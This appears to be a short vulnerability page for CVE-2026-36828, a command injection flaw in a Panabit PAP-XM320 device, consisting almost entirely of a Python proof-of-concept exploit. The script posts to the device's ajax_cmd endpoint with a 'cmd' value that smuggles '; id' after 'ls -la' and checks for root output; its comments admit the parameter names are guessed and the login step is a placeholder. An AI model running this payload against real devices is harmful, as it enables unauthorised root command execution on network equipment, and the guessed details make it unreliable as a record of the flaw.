CVE-2026-36828 Panabit PAP-XM320 命令注入漏洞

import requests # Target configuration target_host = "http://192.168.1.1" vulnerable_url = f"{target_host}/cgi-bin/tools/ajax_cmd" # Attacker credentials (low privilege required) username = "user" password = "password" # Establish a session session = requests.Session() # 1. Authentication (Placeholder for actual login logic) # login_data = {"username": username, "password": password} # session.post(f"{target_host}/login", data=login_data) # 2. Exploit Command Injection # The vulnerability exists in the 'action=runcmd' parameter. # We inject a command to execute 'id' to verify root privileges. payload = "; id" # Command injection separator # Construct the request parameters # Assuming the command is passed in a parameter like 'cmd' or similar # or injected directly into the action parameter depending on implementation. # Here we simulate a typical POST request structure. data = { "action": "runcmd", "cmd": f"ls -la {payload}" # Injecting payload into the command field } try: response = session.post(vulnerable_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if command execution evidence exists in response if "uid=0(root)" in response.text or "gid=0(root)" in response.text: print("[!] Command Injection Confirmed: Root privileges detected.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")